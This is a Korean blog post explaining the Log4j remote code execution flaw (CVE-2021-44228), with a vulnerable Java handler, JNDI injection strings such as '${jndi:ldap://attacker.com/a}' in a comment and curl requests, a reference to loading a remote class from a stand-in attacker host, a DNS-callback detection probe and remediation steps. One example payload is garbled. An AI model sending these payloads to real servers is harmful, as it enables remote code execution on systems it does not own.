InfraPlatform

(보안) Log4j 원격코드 실행 취약점 원리 (CVE-2021-44228)

IT오이시이 2021. 12. 13. 22:05
728x90

 

(보안) Log4j 원격코드 실행 취약점 원리 (CVE-2021-44228) 

[Zero-Day 공격]

제로데이 공격 (Zero-Day Attack) Exploit Targeting은 특정 소스의 치명적인 버그가 패치되기 이전에 재빠르게 해당 부분으로 침입 공격을 하는 것이다.

log4j의 문제는 2021년11월 30일 알리바바 클라우드 보안팀에 의해서 처음 발견되었으며, 2021년 12월 9일 트위트의 한 게시물을 통해 통해 빠르게 알려지기 시작하였다. 한국에서는 2021년 12월 11일 버전별 해결 방안을 게시하였다.

이렇게 문제를 빠르게 전파하여 공유되고 있지만 Java를 기반으로 하는 대부분의 웹개발에서 Log4j를 사용할 만큼 파급효과가 큰 상황으로 대부분의 웹서버가 조치되기 까지 Zero-Day 공격은 지속적으로 진행될 것으로 보인다.

 

 log4j의 문제점 과 JNDI를 이용한 원격 코드 실행 공격 과정 (RCE: Remote Code excecution)

 

□ 취약점 원리

취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. 

Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.
JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 

예를 들어 "URL ldap://localhost:389/o=JNDITutorial" 을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 방법이 Log4j에 더욱 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능하여, 로그에 다음가 같이 ${jndi:sndi:snd://vulnerable.com/something}과 같은 값이 로그에 들어가면 객체를 찾는 방식으로 원격 호출이 가능해진다.

이러한 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더를 로깅하는 경우 일 수도 있고 사용자가 임의로 입력한 값일 수도 있다.

 

□ 취약점 예시

아래와 같은 Java에서 log4j를 사용하고 있을 것이다.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        // User controls the log message
        logger.error(args[0]);
    }
}

 

원격 Java 클래스 주입 과정

만약 아래와 같이 특정 서블릿에 User-agnet 를 로그로 남기는 경우를 예를 들어 보자

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

 

2. 다음과 같이 웹서버를 실행해 보자

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

 

3. 위와 같은 웹서버에 대하여 해커는 아래와 같은 명령으로 요청을 한다는 가정이다.

curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://127.0.0.1/a}'

 

4. 로그에는 다음과 같이 남게 된다.

2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

 

5. [공격자]는 위의 응답으로  "http://second-stage.attacker.com/Exploit.class"가 주입 되도록 원격 Java Class를 주입하여 실행도록 할 수 있다. 

 

 

 

 취약한 서버를 식별하는 방법

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.<RANDOM_STRING>.somehostname.com/a}'

이와 같은 요청을 주입하고 DNS를 통해 특정 도메인을 지정하여 검출 가능하다. (x${hostName}.L4J.<RANDOM_STRING>.somehostname.com/a}')

 

 

□ 조치 방법

1. Log4j v2.15.0 이상으로 업그레이드 한다.

2.  Log4j 2.10 이상의 경우는 log4j2.formatMsgNoLookups=true 를 설정한다.

3. log4jar 파일에서 JndiLookup 클래스를 삭제한다.

    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

[참고자료]

 

https://www.lunasec.io/docs/blog/log4j-zero-day/

 

 

728x90
반응형